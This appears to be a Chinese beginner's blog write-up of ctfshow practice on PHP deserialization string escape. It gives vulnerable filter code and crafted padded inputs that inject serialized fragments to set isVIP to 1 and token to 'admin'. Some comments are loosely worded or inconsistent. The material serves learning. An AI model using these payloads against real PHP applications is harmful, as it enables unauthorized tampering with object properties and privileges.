php反序列化逃逸
逃逸是php中反序列化时的恶意利用,以ctf为例演示
第一段演示
逃逸为ctf反序列化的内容,主要是对序列化对象进行过滤,其中替换串长度不一致,造成字符逃逸。攻击者可以构造恶意的payload,改变对象中的属性,达到恶意利用
php
<?php
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p)
{
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}
function filter($s)
{
return str_replace("admin","hacker",$s);
}
$u = new user("admin",'123456');
$u_ser = serialize($u);
//O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
echo PHP_EOL;
$us = filter($u_ser);
//O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
//过滤前,过滤后
//O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
//O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
$u = new user('admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}',"123456");
//O:4:"user":3:{s:8:"username";s:52:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
//";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} is length of 47
$u = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}',"123456");
$u_ser = serialize($u);
$filterted = filter($u_ser);
//O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
//forget of modify value of vip, it should be (int)1
$obj = unserialize($filterted);
var_dump($obj);
最终的目的是修改对象的isVIP属性为1,通过反序列化
对象u进行序列化,很正常
us对u的内容作替换,将admin替换为hacker,长度不一样,有逃逸风险
比如
s:5:"hacker";
就是这个属性看5位,将它反序列化,内容就变成了hacke,r就逃逸了
原因是它本来是admin是5位,通过过滤直接替换,造成纰漏
尝试构造payload
$u = new user('admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}',"123456");
其中";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
是截取出来的
尝试逃逸
$u = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}',"123456");
这么多重复的admin都将被替换为hacker。admin有282个字符,全部替换为hacker后就有了逃逸的条件。让原来的序列化内容容纳下";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
,而长度还是282,就是读到";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
就结束,在反序列化时形成一个完整的对象
这样一来就可在var_dump看到isVIP属性确实遭到更改var_dump($obj);
第二段说明
php
<?php
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$obj = new message('fuck','b','c');
function filter($obj){
return str_replace('fuck', 'loveU', $obj);
}
$objSer = serialize($obj);
echo $objSer;
//O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
echo PHP_EOL;
$objSerFil = filter($objSer);
echo $objSerFil;
//O:7:"message":4:{s:4:"from";s:4:"loveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
//could flee
//";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
//fix it to
//";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}
//payload(62 char)
//";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}
echo PHP_EOL;
$objHack = new message('fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}','b','c');
echo serialize($objHack);
$answer = 'O:7:"message":4:{s:4:"from";s:310:"fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}';
$answer = filter($answer);
echo PHP_EOL;
var_dump(unserialize($answer));
//it works
echo PHP_EOL;
echo base64_encode($answer);
这段代码来自我做ctfshow线上靶场时的记录,看上去更清晰一些吧
结合注释观察,很容易懂
结合writeup的视频的建议,新手慢点写,是容易做对的
结语
这篇博客也是随手记录,我是新手,还请各位佬们多多批评指正
(悄摸把封面图房上,嘻嘻)